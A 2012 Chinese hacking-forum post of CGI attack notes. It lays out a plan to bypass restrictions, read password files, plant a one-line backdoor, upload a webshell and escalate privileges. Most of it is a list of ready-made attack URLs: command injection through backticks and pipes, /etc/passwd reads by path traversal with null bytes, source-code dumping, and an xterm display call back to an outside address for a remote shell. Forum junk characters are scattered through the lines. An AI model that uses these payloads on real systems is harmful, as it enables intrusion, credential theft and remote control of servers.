找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2592|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  - |- ]2 r, |! K/ ]1 D
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  1 J- H9 |! V/ u
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  & X/ m+ N. q* i
注“  ' k1 a* Q3 l. D5 W7 J! A" Q: L; Z
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  ' t4 ~7 z4 Y9 C
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
5 V, S  O7 v( ?( h* p4 b$ a. m, ~1 z4 z
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
& Z9 P# z+ [/ ohttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
6 i4 b5 y: i' S# W, whttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
1 E$ `# i: `" `1 C; jhttp://target.com/cgi-bin/home/news/sub.pl?`id`  
$ m; P6 D/ d4 e$ D, ~: Y8 m: p3 Thttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  " @0 |/ Z2 G7 f+ v
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
" c. {! v* N+ W* f5 F0 ?1 f0 Y( \. W( w, I
http://target.com/test.pl;ls|  # V2 ^) {/ S0 ?
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
! G. D1 L  P) y+ G  l1 D' l5 S+ Phttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  5 y( s; Q1 e& s6 R' z7 U/ K) K9 _
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  # d2 ^, Q5 A. T' P3 ~! y
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
! R+ P, z9 o6 r  ]: }. hhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
# \" k5 d" b% e  |* Z) B5 l" K) W$ B& w. w2 }2 }: ?: l1 M
http://target.com/test.pl?&........ /../../etc/passwd  
7 |& X% F( q- f9 N6 y% ~6 s# X0 Y4 X" C2 T) Q0 w* C1 y
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
( c4 z/ ]  n& Rhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
, F" K$ c& _  whttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  ( `/ j7 F6 j" g5 M, m9 S1 b- _
0 |/ j1 V- c+ w; k) o
http://www.target.org/show.php?f ... /include/config.php 查看php代码  ) e/ e% q) z% m- d9 [0 r6 A
http://www.target.org/show.php?f ... ng/admin/global.php  
4 r- W0 I4 j9 D4 K) d4 r8 s. a/ g9 Q3 _$ z
emm和ps的一句话
/ z- Y' M" S9 ~" h% E; w; t- ~7 m( |0 X4 O! n, r/ ^9 e* b, g8 ~6 a
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  , }: S2 s- S4 ~6 T

& c  t0 H4 ]( U& \>bbb%20|  , y, F. l- W' l1 F% E9 w: \& t
' H0 T. J! R  B4 r- f, t
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
; M3 O  w1 F5 I0 f4 @
, i2 P0 t# o: ]: J: k" I$ chttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  ( m$ ?/ U; s- _4 ?- F
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
% Z5 P7 ^5 ~4 ^. U/ j' x- s. E9 H" V  C4 B
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  - u' ^0 I- w* z9 }9 d+ E. {( _
http://target.com/index.html#cmd.exe  . t9 E  a) k- V6 J! j
http://target.com/index.html?dummyparam=xp_cmdshell  
. z3 _3 }/ e( u% Clynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
! v/ d' }) r6 ~: s" f8 Y" H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表